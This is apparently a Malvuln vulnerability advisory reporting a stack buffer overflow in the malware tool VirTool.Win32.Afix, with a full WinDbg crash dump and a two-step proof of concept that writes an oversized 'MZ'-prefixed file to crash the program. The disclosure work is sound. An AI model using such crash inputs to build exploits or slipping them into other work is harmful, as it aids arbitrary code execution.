Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c971e978198331bb0b56dc8b47f0b4b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: VirTool.Win32.Afix
Vulnerability: Local Stack Buffer Overflow 
Description: VirTool.Win32.Afix By Zimenkov doesn't properly validate the files it opens. Therefore, opening a specially crafted (EXE) file triggers a stack buffer overflow overwriting EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.  
Type: PE32
MD5: c971e978198331bb0b56dc8b47f0b4b0
Vuln ID: MVID-2021-0292
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/12/2021

Memory Dump:
(1270.f6c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=c807d46a edx=00000001 esi=00000003 edi=00000003
eip=77dded3c esp=005fefdc ebp=005ff16c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
ntdll!ZwWaitForMultipleObjects+0xc:
77dded3c c21400          ret     14h

0:000> .ecxr
eax=41414141 ebx=00000001 ecx=c807d46a edx=00000001 esi=002e04d8 edi=004010a0
eip=00401259 esp=005ff91c ebp=43c23ad1 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
*** WARNING: Unable to verify checksum for VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe
*** ERROR: Module load completed but symbols could not be loaded for VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe
VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x1259:
00401259 8b4528          mov     eax,dword ptr [ebp+28h] ss:002b:43c23af9=????????

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259
00401259 8b4528          mov     eax,dword ptr [ebp+28h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401259 (VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x00001259)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 43c23af9
Attempt to read from address 43c23af9

PROCESS_NAME:  VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  43c23af9

READ_ADDRESS:  43c23af9 

FOLLOWUP_IP: 
VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259
00401259 8b4528          mov     eax,dword ptr [ebp+28h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000f6c

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 004014c9 to 00401259

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
005ff938 004014c9 004010a0 002e04d8 005ff964 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x1259
005ff95c 0040113e 005ff990 770ce0bb 002e04d8 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x14c9
005ff964 770ce0bb 002e04d8 00000111 00000196 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x113e
005ff990 770d8849 004010a0 002e04d8 00000111 user32!_InternalCallWinProc+0x2b
005ff9b4 770dacd3 00000111 00000196 0046051c user32!InternalCallWinProc+0x20
005ffa38 770bbf65 002e04d8 00000111 00000196 user32!UserCallDlgProcCheckWow+0x156
005ffa94 770bbe45 02f18540 00000000 00000111 user32!DefDlgProcWorker+0x115
005ffab4 770ce0bb 002e04d8 00000111 00000196 user32!DefDlgProcW+0x25
005ffae0 770d8849 77df92b0 002e04d8 00000111 user32!_InternalCallWinProc+0x2b
005ffb04 770db145 00000111 00000196 0046051c user32!InternalCallWinProc+0x20
005ffbd4 770da89c 77df92b0 00000000 00000111 user32!UserCallWinProcCheckWow+0x1be
005ffc40 770bb95b 02f18540 00000000 0046051c user32!SendMessageWorker+0x6ff
005ffc68 770d5493 002e04d8 00000111 00000196 user32!SendMessageW+0x5b
005ffc90 770d4dda 02f40a80 00000000 00000000 user32!xxxButtonNotifyParent+0x66
005ffcb8 770d4240 02705958 00000000 02f40a80 user32!xxxBNReleaseCapture+0x150
005ffd50 770d36c6 02f40a80 00000000 00000202 user32!ButtonWndProcWorker+0xad0
005ffd84 770ce0bb 0046051c 00000202 00000000 user32!ButtonWndProcA+0x56
005ffdb0 770d8849 770d3670 0046051c 00000202 user32!_InternalCallWinProc+0x2b
005ffdd4 770db145 00000202 00000000 0006006b user32!InternalCallWinProc+0x20
005ffea4 770c90dc 19ddfbc0 00007ff9 00000202 user32!UserCallWinProcCheckWow+0x1be
005fff10 770bb2ee 00000000 00402178 00402170 user32!DispatchMessageWorker+0x4ac
005fff40 770bb0cc 002e04d8 00402170 00402170 user32!IsDialogMessageW+0x17e
005fff6c 00401048 005fff94 0040105c 002e04d8 user32!IsDialogMessageA+0x13c
005fff94 77dd4a77 00331000 c0a87372 00000000 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x1048
005fffdc 77dd4a47 ffffffff 77df9ea4 00000000 ntdll!__RtlUserThreadStart+0x2f
005fffec 00000000 00401000 00331000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0

IMAGE_NAME:  VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_c0000005_VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259


Exploit/PoC:
1) python -c "print('MZ'+'A'*10000)" > BOOM.exe
2) Open BOOM.exe in the vulnerable program

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